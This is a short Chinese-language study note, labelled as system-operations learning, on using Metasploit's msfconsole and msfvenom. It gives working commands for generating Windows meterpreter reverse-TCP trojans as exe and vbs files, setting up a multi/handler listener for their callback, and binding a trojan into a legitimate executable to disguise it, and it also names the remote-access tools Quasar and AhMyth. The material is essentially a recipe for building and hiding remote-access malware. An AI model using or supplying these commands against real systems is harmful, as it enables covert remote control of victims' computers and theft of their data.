[系统运维]msfconsole学习

工具：

????????Quasar-win：

? ? ? ? AhMyth-andriod：

msfconsole启动：

? ? ? ? msfconsole

? ? ? ? msfconsole -q ：无启动状态显示

一、MSF生成木马并连接

? ? ? ? 使用模块：use exploit/multi/handler

? ? ? ? 指令：show options - 查看需要填写的参数和参数填写状态? ? ??

????????设置LHOST和LPORT： set LHOST 本地ip LPORT 本地启用端口

? ? ? ? 查看payload：show payloads

????????设置payload：set payload windows/meterpreter/reverse_tcp

木马生成：

? ? ? ? 使用msfvenom

????????msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

?????????msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口

运行监听：

? ? ? ? 先进入使用模块

? ? ? ? run

? ? ? ? exploit

二、MSF木马VBS配置

windows-vbs：

? ? ? ? vbs：源码型脚本

????????使用msfvenom

????????msfvenom -p windows/meterpreter/reverse_tcp -f vbs -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

msfconsole -r file? ? ? ? （文件中写相关命令，msfmu　会自动读取文件并执行）

三、MSF木马捆绑

? ? ? ? 将木马捆绑到正常文件当中

????????msfvenom -p windows/meterpreter/reverse_tcp -f exe -x ./test.exe -a x86 --platform windows -o ./kunbang.exe LHOST=连接ip?LPORT=4444

? ? ? ? 注意：找一个有效的可执行文件